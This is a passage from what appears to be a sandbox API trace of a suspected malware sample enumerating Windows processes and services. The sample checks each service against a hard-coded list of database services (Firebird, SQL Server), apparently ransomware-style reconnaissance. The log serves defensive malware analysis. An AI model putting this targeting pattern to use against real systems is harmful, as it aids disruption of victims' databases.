lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0138.816] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0138.816] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0138.817] lstrlenW (lpString="explorer.exe") returned 12 [0138.817] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0138.818] lstrlenW (lpString="Memory Compression") returned 18 [0138.818] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0138.819] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0138.819] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0138.820] lstrlenW (lpString="SearchUI.exe") returned 12 [0138.820] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0138.820] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0138.820] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0138.821] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0138.821] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0138.822] lstrlenW (lpString="taskhostw.exe") returned 13 [0138.822] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0138.823] lstrlenW (lpString="UsoClient.exe") returned 13 [0138.823] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0138.823] lstrlenW (lpString="msoia.exe") returned 9 [0138.823] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0138.824] lstrlenW (lpString="taskhostw.exe") returned 13 [0138.824] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0138.825] lstrlenW (lpString="msoia.exe") returned 9 [0138.825] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0138.826] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0138.826] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0138.826] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0138.827] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0138.827] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0138.827] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0138.828] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0138.828] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0138.829] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0138.829] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0138.830] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0138.830] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0138.831] lstrlenW (lpString="concerned venture.exe") returned 21 [0138.831] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0138.831] lstrlenW (lpString="organizingscsi.exe") returned 18 [0138.831] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0138.832] lstrlenW (lpString="airplane placing.exe") returned 20 [0138.832] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0138.833] lstrlenW (lpString="circus.exe") returned 10 [0138.833] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0138.834] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0138.834] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0138.835] lstrlenW (lpString="das.exe") returned 7 [0138.835] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0138.835] lstrlenW (lpString="beam removable.exe") returned 18 [0138.835] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0138.836] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0138.836] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0138.837] lstrlenW (lpString="dome.exe") returned 8 [0138.837] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0138.838] lstrlenW (lpString="wiresjacket.exe") returned 15 [0138.838] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0138.839] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0138.839] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0138.840] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0138.840] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0138.841] lstrlenW (lpString="tested.exe") returned 10 [0138.841] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0138.841] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0138.841] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0138.842] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0138.842] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0138.843] lstrlenW (lpString="level.exe") returned 9 [0138.843] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0138.963] lstrlenW (lpString="dllhost.exe") returned 11 [0138.963] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0138.965] lstrlenW (lpString="conhost.exe") returned 11 [0138.965] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0138.966] lstrlenW (lpString="conhost.exe") returned 11 [0138.966] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.967] lstrlenW (lpString="svchost.exe") returned 11 [0138.967] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0138.968] lstrlenW (lpString="load0.exe") returned 9 [0138.968] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0138.970] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0138.970] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0138.971] lstrlenW (lpString="conhost.exe") returned 11 [0138.971] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0138.972] lstrlenW (lpString="cmd.exe") returned 7 [0138.972] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0138.973] lstrlenW (lpString="conhost.exe") returned 11 [0138.973] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.975] lstrlenW (lpString="svchost.exe") returned 11 [0138.975] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0138.976] lstrlenW (lpString="mode.com") returned 8 [0138.976] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0138.977] CloseHandle (hObject=0x10b8) returned 1 [0138.977] Sleep (dwMilliseconds=0x1f4) [0139.564] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e32d0 [0139.565] EnumServicesStatusExW (in: hSCManager=0x5e32d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0139.565] GetLastError () returned 0xea [0139.565] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1d5a) returned 0x3df00b8 [0139.565] EnumServicesStatusExW (in: hSCManager=0x5e32d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3df00b8, cbBufSize=0x1d5a, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3df00b8, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0139.566] CloseServiceHandle (hSCObject=0x5e32d0) returned 1 [0139.567] lstrlenW (lpString="Appinfo") returned 7 [0139.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0139.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0139.567] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0139.567] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0139.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0139.567] lstrlenW (lpString="AppXSvc") returned 7 [0139.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0139.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0139.567] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0139.567] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0139.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0139.567] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0139.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0139.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0139.567] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0139.567] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0139.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0139.567] lstrlenW (lpString="Audiosrv") returned 8 [0139.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0139.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0139.567] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0139.567] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0139.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0139.567] lstrlenW (lpString="BFE") returned 3 [0139.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0139.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0139.567] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0139.568] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0139.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0139.568] lstrlenW (lpString="BITS") returned 4 [0139.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0139.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0139.568] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0139.568] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0139.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0139.568] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0139.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0139.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0139.568] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0139.568] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0139.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0139.568] lstrlenW (lpString="CDPSvc") returned 6 [0139.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0139.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0139.568] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0139.568] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0139.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0139.568] lstrlenW (lpString="ClickToRunSvc") returned 13 [0139.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0139.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0139.568] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0139.568] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0139.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0139.568] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0139.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0139.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0139.569] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0139.569] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0139.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0139.569] lstrlenW (lpString="CryptSvc") returned 8 [0139.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0139.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0139.569] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0139.569] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0139.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0139.569] lstrlenW (lpString="DcomLaunch") returned 10 [0139.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0139.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0139.569] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0139.569] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0139.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0139.569] lstrlenW (lpString="DeviceAssociationService") returned 24 [0139.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0139.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0139.569] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0139.569] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0139.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0139.569] lstrlenW (lpString="Dhcp") returned 4 [0139.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0139.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0139.569] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0139.569] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0139.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0139.570] lstrlenW (lpString="Dnscache") returned 8 [0139.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0139.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0139.570] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0139.570] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0139.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0139.570] lstrlenW (lpString="DoSvc") returned 5 [0139.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0139.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0139.570] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0139.570] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0139.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0139.570] lstrlenW (lpString="DPS") returned 3 [0139.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 